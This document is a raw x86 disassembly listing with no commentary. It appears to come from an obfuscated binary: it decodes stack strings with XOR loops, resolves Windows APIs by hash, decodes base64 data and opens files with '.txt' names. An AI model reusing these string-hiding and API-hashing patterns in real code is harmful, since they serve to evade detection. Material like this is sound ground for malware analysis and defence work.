mov dword [esp + 0x2c], 0xd6c0d0d9
mov dword [esp + 0x30], 0xddd5e19d
mov dword [esp + 0x34], 0xe897dcc2
mov dword [esp + 0x38], 0xd2ddd8c8
mov dword [esp + 0x3c], 0xa0a38091
mov dword [esp + 0x40], 0xb5a8b0ad
mov word [esp + 0x44], 0x37b5
mov dword [esp + 0x46], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x21
ja 0x42126e
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0xfeed272b
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0x81
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x22
jb 0x421240
lea eax, [esp + 0x28]
mov ecx, dword [esp + 0x88]
push eax
call fcn.00423270
xor ecx, ecx
test eax, eax
setne cl
xor edx, edx
jmp dword [ecx*4 + 0x446c90]
mov dword [esp + 0x10], edx
mov ebx, dword [esp + 0x84]
jmp dword [0x446cb0]
mov esi, dword [esp + 0x88]
mov ecx, esi
call fcn.004233d0
push esi
call fcn.00409630
add esp, 4
mov eax, dword [case.0x421288.12]
nop
nop
nop
nop
jmp eax
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x4212eb
mov edi, dword [esp + 0x10]
mov esi, ebx
mov ebx, dword [esp + 0xb8]
jmp dword [0x446cd0]
xor eax, eax
cmp edi, ebp
sete al
jmp dword [eax*4 + 0x446cd8]
push eax
push 1
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x10
mov edi, dword [esp + 0x10]
mov esi, ebx
mov ebx, dword [esp + 0xb8]
jmp dword [0x446cd0]
mov ecx, dword [eax + 8]
mov eax, dword [case.0x421288.5]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor edi, edi
xor eax, eax
test ecx, ecx
setne al
xor edx, edx
xor esi, esi
mov dword [esp + 0x14], 0
jmp dword [eax*4 + 0x446ca8]
xor eax, eax
mov edi, dword [esp + 0x1c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x80]
mov dword [edx + ecx + 4], eax
add edi, 8
mov ecx, dword [esp + 0x18]
mov ecx, dword [ecx + 4]
xor eax, eax
test ecx, ecx
setne al
mov esi, edx
jmp dword [eax*4 + 0x446ca8]
mov ebp, dword [ecx]
mov eax, edi
sub eax, esi
mov edx, dword [esp + 0x14]
cmp edi, edx
mov dword [esp + 0x80], eax
mov dword [esp + 0x18], ecx
je 0x421399
mov ebx, esi
jmp 0x421429
sar eax, 3
inc eax
mov ecx, edx
sub ecx, esi
sar ecx, 3
mov edx, ecx
shr edx, 1
mov edi, edx
xor edi, ecx
and edx, ecx
lea edi, [edi + edx*2]
cmp edi, eax
ja 0x4213b7
mov edi, eax
mov eax, edi
and eax, 0xfffffff7
mov ecx, edi
and ecx, 8
mov edx, edi
or edx, 8
imul edx, ecx
xor ecx, 8
imul ecx, eax
add edx, ecx
push edx
call fcn.00409620
add esp, 4
mov ebx, eax
test esi, esi
je 0x42141b
mov edx, dword [esp + 0x14]
cmp esi, edx
je 0x421412
xor eax, eax
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [esi + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [esi + eax], 0
lea ecx, [esi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x4213f0
push esi
call fcn.00409630
add esp, 4
lea edx, [ebx + edi*8]
mov edi, ebx
mov eax, dword [esp + 0x80]
add edi, eax
mov dword [esp + 0x14], edx
mov dword [esp + 0x1c], edi
mov dword [ebx + eax], 0
mov dword [esp + 0x10], ebx
mov dword [ebx + eax + 4], 0
mov ebx, 0xffffffff
xor eax, eax
nop
nop
nop
nop
nop
mov esi, eax
cmp byte [ebp + ebx + 1], 0
lea ebx, [ebx + 1]
lea eax, [eax + 1]
jne 0x421450
lea edi, [ebx + 1]
push edi
mov dword [esp + 0x90], edi
call fcn.00409620
add esp, 4
mov edx, eax
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x80]
mov dword [eax + ecx], edx
mov eax, edx
mov ecx, edi
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ecx, dword [esp + 0x8c]
mov edx, ecx
and edx, 0xfffffffc
add eax, edx
mov edi, eax
add edx, ebp
shr ecx, 1
and ecx, 1
mov eax, edx
mov dword [esp + 0x7c], edi
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
test bl, 1
jne 0x4214d7
mov ecx, dword [esp + 0x8c]
and ecx, 2
movzx eax, byte [edx + ecx]
mov edx, dword [esp + 0x7c]
mov byte [edx + ecx], al
test ebx, ebx
je 0x42133e
cmp ebx, 1
jne 0x4214e4
xor eax, eax
mov edi, dword [esp + 0x1c]
jmp 0x421536
and esi, 0xfffffffe
xor eax, eax
mov edi, dword [esp + 0x1c]
nop
nop
nop
mov ecx, eax
or ecx, 0xff
movzx edx, byte [ebp]
xor edx, eax
sub ecx, edx
shr eax, 8
or eax, 0xff000000
xor eax, dword [ecx*4 + 0x4425c0]
mov ecx, eax
or ecx, 0xff
movzx edx, byte [ebp + 1]
xor edx, eax
sub ecx, edx
shr eax, 8
or eax, 0xff000000
xor eax, dword [ecx*4 + 0x4425c0]
add ebp, 2
add esi, 0xfffffffe
jne 0x4214f0
test bl, 1
je 0x421350
mov ecx, eax
or ecx, 0xff
movzx edx, byte [ebp]
xor edx, eax
sub ecx, edx
shr eax, 8
or eax, 0xff000000
xor eax, dword [ecx*4 + 0x4425c0]
jmp 0x421350
jmp dword [0x446c60]
push edi
call fcn.00409630
add esp, 4
xor eax, eax
cmp word [esi], 0x5b
sete al
jmp dword [eax*4 + 0x446c68]
lea ecx, [eax + 2]
cmp word [eax], 0
jne 0x4217b8
sub eax, edi
lea ecx, [eax + 0x26]
cmp eax, 0xffffffd9
jge 0x42159e
mov ecx, 0xffffffff
push ecx
call fcn.00409620
add esp, 4
mov esi, eax
mov dword [esp + 0x28], 0xf01cf613
mov dword [esp + 0x2c], 0xfc0bf202
mov dword [esp + 0x30], 0xf812fe11
mov dword [esp + 0x34], 0x8461fa12
mov dword [esp + 0x38], 0x8070866a
mov dword [esp + 0x3c], 0x8c638275
mov dword [esp + 0x40], 0x88608e64
mov dword [esp + 0x44], 0x946b8abd
mov dword [esp + 0x48], 0x907f967b
mov word [esp + 0x4c], 0x9293
mov dword [esp + 0x4e], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x29
ja 0x42163e
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x2f314cb2
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0xbb
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2a
jb 0x421610
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x421661
lea edx, [edi + 2]
mov eax, esi
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x421650
mov word [eax], 0
movzx ecx, word [esp + 0x28]
test cx, cx
je 0x421691
lea edx, [esp + 0x2a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x421680
mov word [eax], 0
mov ecx, edi
jmp dword [0x446c58]
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne case.0x4203b0.20
sub eax, edi
lea ecx, [eax + 0x26]
cmp eax, 0xffffffd9
jge 0x4216ba
mov ecx, 0xffffffff
push ecx
call fcn.00409620
add esp, 4
mov dword [esp + 0x28], 0xf01cf613
mov dword [esp + 0x2c], 0xfc0bf202
mov dword [esp + 0x30], 0xf812fe11
mov dword [esp + 0x34], 0x8461fa12
mov dword [esp + 0x38], 0x8070866a
mov dword [esp + 0x3c], 0x8c638275
mov dword [esp + 0x40], 0x88608e64
mov dword [esp + 0x44], 0x946b8abd
mov dword [esp + 0x48], 0x907f967b
mov word [esp + 0x4c], 0x9293
mov dword [esp + 0x4e], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x29
ja 0x421760
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0x2f314cb2
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0xbb
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x2a
jb 0x421730
movzx ecx, word [edi]
test cx, cx
je 0x421781
lea edx, [edi + 2]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x421770
mov word [eax], 0
movzx ecx, word [esp + 0x28]
test cx, cx
je 0x4217b1
lea edx, [esp + 0x2a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4217a0
mov word [eax], 0
mov ecx, edi
mov eax, ecx
jmp 0x421582
int3
jmp dword [0x446df8]
push dword [esp + 0x50]
call fcn.00409630
add esp, 4
mov eax, dword [esp + 0x74]
and al, 1
add esp, 0xe4
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0xa0]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x446df0]
mov edi, dword [esp + ecx + 0x84]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + esi + 2], 0
lea esi, [esi + 2]
jne 0x421bd0
mov dword [esp + 0xa0], ecx
mov ebp, esi
sar ebp, 1
mov eax, dword [esp + 0x80]
inc eax
mov ecx, eax
xor ecx, ebp
and eax, ebp
lea edx, [ecx + eax*2]
lea ecx, [ecx + eax*2]
add ecx, 0xc
lea eax, [edx*2 + 0x18]
test ecx, ecx
jns 0x421c0d
mov eax, 0xffffffff
push eax
call fcn.00409620
add esp, 4
mov ebx, eax
mov eax, dword [esp + 0x50]
movzx ecx, word [eax]
mov eax, ebx
test cx, cx
je 0x421c41
mov edx, dword [esp + 0x98]
mov eax, ebx
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x421c30
mov word [eax], 0x5c
mov dword [esp + 0x14], 0xc30edd20
mov dword [esp + 0x18], 0xc721c153
mov dword [esp + 0x1c], 0xcb26c525
mov dword [esp + 0x20], 0xcf39c9e8
mov dword [esp + 0x24], 0xf313cd58
mov dword [esp + 0x28], 0xf713f164
mov word [esp + 0x2c], 0xf5f4
lea ecx, [esp + 0x14]
mov byte [ecx + 0x1c], 0
mov word [ecx + 0x1a], 0
add eax, 2
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1c
ja 0x421cd0
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0x90c8e30e
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0x2e
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x1d
jb 0x421ca0
movzx ecx, word [edi]
test cx, cx
je 0x421cf1
lea edx, [edi + 2]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x421ce0
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x421d21
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x421d10
mov word [eax], 0
lea eax, [esp + 0x7c]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0xc0], ebx
push ebx
call fcn.0043f310
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446e00]
xor ebx, ebx
jmp dword [0x446e60]
push dword [esp + 0xb0]
call fcn.00409630
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x446e68]
lea eax, [esp + 0xa4]
push 0
push eax
push dword [esp + 0x84]
call fcn.0043f670
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x446e08]
mov ebx, dword [esp + 0xa4]
lea eax, [ebx + 1]
push eax
call fcn.00409620
add esp, 4
push 0
push ebx
mov dword [esp + 0x9c], eax
push eax
push dword [esp + 0x88]
call fcn.0043f750
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x446e10]
mov eax, dword [esp + 0xa4]
mov ecx, dword [esp + 0x94]
mov byte [ecx + eax], 0
push ecx
call fcn.00402990
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x446e18]
mov dword [esp + 0xac], eax
push eax
call fcn.004032a0
add esp, 4
mov dword [esp + 0x14], 0x1b14295a
mov dword [esp + 0x18], 0x2c232b2b
mov dword [esp + 0x1c], 0x132d1363
mov dword [esp + 0x20], 0x242b2323
mov dword [esp + 0x24], 0x33040a14
mov word [esp + 0x28], 0x3b08
mov byte [esp + 0x2a], 0xa3
lea ecx, [esp + 0x14]
mov byte [ecx + 0x1b], 0
mov dword [ecx + 0x17], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1b
ja 0x421ea0
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0xb1b0003f
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0xa
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x1c
jb 0x421e70
lea ecx, [esp + 0x14]
push ecx
push eax
call fcn.004033e0
add esp, 8
mov ebx, eax
mov edx, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, edx
cmp byte [ebx + edx + 1], 0
lea edx, [edx + 1]
jne 0x421ec0
mov eax, edx
and eax, 0xfffffffc
mov dword [esp + 8], eax
mov ecx, edx
and ecx, 3
mov eax, edx
or eax, 3
imul eax, ecx
xor ecx, 3
imul ecx, dword [esp + 8]
add eax, ecx
mov ecx, eax
shr ecx, 2
movzx eax, byte [ebx + edx - 1]
cmp eax, 0x3d
je 0x421f00
cmp eax, 0x2e
jne 0x421f01
dec ecx
movzx eax, byte [ebx + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x70], edx
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x90], edi
je 0x421f1f
cmp eax, 0x2e
jne 0x421f20
dec ecx
mov dword [esp + 0xa8], ecx
lea eax, [ecx + 1]
push eax
call fcn.00409620
add esp, 4
mov dword [esp + 0x54], eax
cmp dword [esp + 0x70], 0
je 0x422035
xor edi, edi
mov ebp, 2
mov dword [esp + 0x78], ebx
jmp 0x421f68
lea eax, [ebp + 4]
add ebp, 2
mov edi, dword [esp + 8]
cmp ebp, edx
mov ebp, eax
mov ebx, dword [esp + 0x78]
jae 0x422035
movzx eax, byte [ebx + ebp - 2]
push eax
call fcn.00415e70
add esp, 4
mov ecx, ebx
mov ebx, eax
movzx eax, byte [ecx + ebp - 1]
push eax
call fcn.00415e70
mov edx, dword [esp + 0x74]
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
lea ecx, [edi + 1]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x54]
mov byte [ecx + edi], al
cmp ebp, edx
jae 0x421f50
mov dword [esp + 0x9c], edi
mov eax, dword [esp + 0x78]
movzx eax, byte [eax + ebp]
push eax
call fcn.00415e70
mov edx, dword [esp + 0x74]
add esp, 4
cmp al, 0x40
je 0x421f50
mov bl, al
shl bh, 4
shr al, 2
and al, 0xf
or al, bh
mov edi, dword [esp + 0x9c]
lea ecx, [edi + 2]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x54]
mov byte [ecx + edi + 1], al
lea eax, [ebp + 1]
cmp eax, edx
jae 0x421f50
mov eax, dword [esp + 0x78]
movzx eax, byte [eax + ebp + 1]
push eax
call fcn.00415e70
mov edx, dword [esp + 0x74]
add esp, 4
cmp al, 0x40
je 0x421f50
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x54]
mov edi, dword [esp + 0x9c]
mov byte [ecx + edi + 2], al
add edi, 3
mov dword [esp + 8], edi
jmp 0x421f50
mov eax, dword [esp + 0xa8]
add eax, 0xfffffffb
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x54]
add eax, 5
mov dword [esp + 0x10], eax
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x44a928]
call fcn.0043e950
add esp, 8
mov ecx, esp
lea edx, [esp + 0xc]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x446e20]
xor ebx, ebx
mov ebp, dword [esp + 0x4c]
mov edi, dword [esp + 0x90]
jmp dword [0x446e30]
lea eax, [esi + 0x10]
mov ebp, dword [esp + 0x4c]
cmp ebp, 0xfffffff8
mov edi, dword [esp + 0x90]
jge 0x4220bd
mov eax, 0xffffffff
push eax
call fcn.00409620
add esp, 4
mov ebx, eax
mov dword [esp + 0x14], 0xc4a1c6f6
mov dword [esp + 0x18], 0xd8ebdaab
mov dword [esp + 0x1c], 0xdc55deab
mov dword [esp + 0x20], 0xd0d1d2a7
mov word [esp + 0x24], 0
mov dword [esp + 0x48], 0
mov eax, dword [esp + 0x48]
cmp eax, 0x11
ja 0x422139
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x48]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x5f97f74c
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x75
mov ecx, dword [esp + 0x48]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 0x48]
mov eax, dword [esp + 0x48]
cmp eax, 0x12
jb 0x422100
movzx ecx, word [edi]
mov eax, ebx
test cx, cx
je 0x422161
lea edx, [edi + 2]
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422150
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x422191
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422180
mov word [eax], 0
mov ecx, dword [esp + 0xf8]
push dword [esp]
push dword [esp + 8]
push ebx
call fcn.00409e10
mov ecx, ebx
mov ebx, eax
jmp dword [0x446e28]
push ecx
call fcn.00409630
add esp, 4
push 0xe050b307
push dword [0x44a910]
call fcn.0043e950
add esp, 8
push dword [esp + 4]
call eax
jmp dword [0x446e30]
push dword [esp + 0x54]
call fcn.00409630
add esp, 4
push dword [esp + 0xac]
call fcn.00403510
add esp, 4
mov eax, dword [case.0x4203b0.132]
nop
nop
nop
nop
jmp eax
jmp dword [0x446e48]
push dword [esp + 0x94]
call fcn.00409630
add esp, 4
mov eax, dword [case.0x4203b0.130]
nop
nop
nop
nop
jmp eax
mov dword [esp + 0x4c], ebp
mov eax, dword [esp + 0x7c]
mov dword [esp + 8], eax
mov dword [esp], 0x494a4b4c
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
cmp eax, 3
ja 0x422281
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esp + ecx]
add eax, 0xc315bc3b
xor eax, ecx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add al, 0x88
mov ecx, dword [esp + 0xc]
mov byte [esp + ecx], al
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp eax, 4
jb 0x422250
mov ecx, dword [0x44a91c]
test ecx, ecx
je 0x4222c0
mov edx, dword [esp]
xor ebp, ebp
mov eax, dword [0x44a920]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [eax + ebp*8], 0x625b6034
je 0x4222b0
inc ebp
cmp ecx, ebp
jne 0x4222a0
jmp 0x4222c0
mov eax, dword [eax + ebp*8 + 4]
cmp eax, edx
jne 0x422628
nop
nop
nop
nop
mov ebp, dword [esp + 0x4c]
jmp dword [0x446e60]
movzx eax, bl
jmp dword [eax*4 + 0x446e68]
mov eax, dword [esp + 0x80]
mov ecx, eax
and ecx, 1
xor eax, 1
add eax, ebp
lea eax, [eax + ecx*2]
mov ecx, eax
and ecx, 0x16
xor eax, 0x16
lea ecx, [eax + ecx*2]
lea eax, [ecx + ecx]
test ecx, ecx
jns 0x4222ff
mov eax, 0xffffffff
mov ebx, ebp
push eax
call fcn.00409620
add esp, 4
mov ebp, eax
mov eax, dword [esp + 0x50]
movzx ecx, word [eax]
mov eax, ebp
test cx, cx
je 0x422341
mov edx, dword [esp + 0x98]
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422330
mov dword [esp + 8], ebp
mov word [eax], 0x5c
mov dword [esp + 0x14], 0xeb1eed08
mov dword [esp + 0x18], 0xe779e97b
mov dword [esp + 0x1c], 0xe376e505
mov dword [esp + 0x20], 0x9f71e1c0
mov dword [esp + 0x24], 0x9b099d10
mov dword [esp + 0x28], 0x97779916
mov dword [esp + 0x2c], 0x930f950f
mov dword [esp + 0x30], 0x8f1a9174
mov dword [esp + 0x34], 0x8b008d11
mov dword [esp + 0x38], 0x87128915
mov dword [esp + 0x3c], 0x831c8518
mov word [esp + 0x40], 0x8180
mov dword [esp + 0x42], 0
add eax, 2
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x31
ja 0x42240c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
lea ebp, [ecx - 0xfd5a14e]
and ebp, edx
add ecx, edx
add ecx, 0xf02a5eb2
add ebp, ebp
sub ecx, ebp
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0xa2
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x32
jb 0x4223d0
movzx ecx, word [edi]
test cx, cx
je 0x422431
lea edx, [edi + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422420
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x422463
lea edx, [esp + 0x16]
mov ebp, dword [esp + 8]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422450
jmp 0x422467
mov ebp, dword [esp + 8]
mov word [eax], 0
add esi, 0x12
cmp ebx, 0xfffffff7
jge 0x422479
mov esi, 0xffffffff
push esi
call fcn.00409620
add esp, 4
mov esi, eax
mov dword [esp + 0x14], 0xa433a67a
mov dword [esp + 0x18], 0xa029a238
mov dword [esp + 0x1c], 0x9c0b9e3c
mov dword [esp + 0x20], 0x98059a01
mov word [esp + 0x24], 0x9699
mov dword [esp + 0x26], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x15
ja 0x4224fe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0xf57add57
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 2
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x16
jb 0x4224d0
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x422521
add edi, 2
mov eax, esi
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x422510
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x422551
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422540
mov word [eax], 0
mov dword [esp + 0x14], 0x41404374
mov byte [esp + 0x18], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x4225ae
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x3473b3c4
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0x7a
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x422580
push 0
push 0
push 0
push 0xc00000
lea eax, [esp + 0x24]
push eax
push ebp
push esi
push dword [esp + 0x114]
call fcn.00419bb0
add esp, 0x20
mov ecx, dword [esp + 0x74]
and cl, 1
or cl, al
mov dword [esp + 0x74], ecx
jmp dword [0x446e70]
push esi
call fcn.00409630
add esp, 4
jmp dword [0x446e78]
jmp dword [0x446e78]
push ebp
call fcn.00409630
add esp, 4
mov ecx, dword [esp + 0xa0]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x446df0]
push dword [esp + 8]
push 1
push dword [0x44a924]
push eax
call fcn.0043d1c0
add esp, 0x10
mov ebp, dword [esp + 0x4c]
jmp dword [0x446e60]
int3
xor ecx, ecx
xor eax, eax
jmp dword [0x446fd8]
push ebx
mov ebx, ecx
call fcn.00409630
add esp, 4
mov eax, ebx
add esp, 0x84
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x446e88]
lea eax, [esp + 0x74]
push 0
push eax
push dword [esp + 0x28]
call fcn.0043f670
add esp, 0xc
nop
nop
nop
nop
lea eax, [esp + 0x74]
push 0
push eax
push dword [esp + 0x28]
call fcn.0043f670
add esp, 0xc
jmp dword [0x446e94]
not eax
shr eax, 0x1f
xor ebp, ebp
jmp dword [eax*4 + 0x446e98]
mov esi, dword [esp + 0x74]
lea eax, [esi + 1]
push eax
call fcn.00409620
add esp, 4
push 0
push esi
mov dword [esp + 0x74], eax
push eax
push dword [esp + 0x2c]
call fcn.0043f750
add esp, 0x10
not eax
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x446ea0]
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x6c]
mov byte [ecx + eax], 0
mov eax, dword [case.0x4203b0.173]
xor ecx, ecx
mov ebp, dword [esp + 0x6c]
jmp eax
lea ebp, [edi + 0xa]
movzx eax, byte [edi + 0xa]
xor esi, esi
test al, al
je 0x422946
mov ecx, ebp
nop
cmp al, 0x22
je 0x422940
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x422930
jmp 0x422942
mov esi, ecx
mov ecx, dword [esp + 0x14]
mov edx, esi
sub edx, ebp
xor eax, eax
cmp edx, 5
setb al
jmp dword [eax*4 + 0x446ec0]
jmp dword [0x446ed4]
xor eax, eax
cmp byte [esi - 1], 0x74
setne al
jmp dword [eax*4 + 0x446ed8]
xor eax, eax
cmp byte [esi - 2], 0x78
setne al
jmp dword [eax*4 + 0x446ef0]
xor eax, eax
cmp byte [esi - 3], 0x74
setne al
jmp dword [eax*4 + 0x446f08]
xor eax, eax
cmp byte [esi - 4], 0x2e
setne al
jmp dword [eax*4 + 0x446f10]
mov dword [esp + 0x78], esi
mov dword [esp + 8], edx
lea esi, [edx + 1]
mov eax, dword [case.0x422952.28]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea eax, [esi + esi]
test esi, esi
jns 0x4229ce
mov eax, 0xffffffff
mov dword [esp + 0x7c], ebx
push eax
call fcn.00409620
add esp, 4
mov dword [esp + 0xc], eax
lea ecx, [eax + esi*2]
mov eax, dword [esp + 0x78]
mov edx, eax
test eax, eax
jne 0x4229fb
lea eax, [edi + 9]
nop
lea edx, [eax + 1]
cmp byte [eax + 1], 0
mov eax, edx
jne 0x4229f0
mov dword [esp + 0x24], 0
add ecx, 0xfffffffe
mov eax, dword [esp + 0xc]
mov esi, eax
mov dword [esp + 0x10], ecx
cmp eax, ecx
mov ecx, eax
jae 0x422a6b
mov ecx, dword [esp + 0xc]
cmp ebp, edx
jae 0x422a6b
mov ecx, dword [esp + 0xc]
mov ebx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx], 0
je 0x422a6b
lea eax, [esp + 0x24]
push eax
push edx
push ebx
mov esi, edx
mov dword [esp + 0x24], ecx
call fcn.0040d570
add esp, 0xc
movzx ecx, word [esp + 0x24]
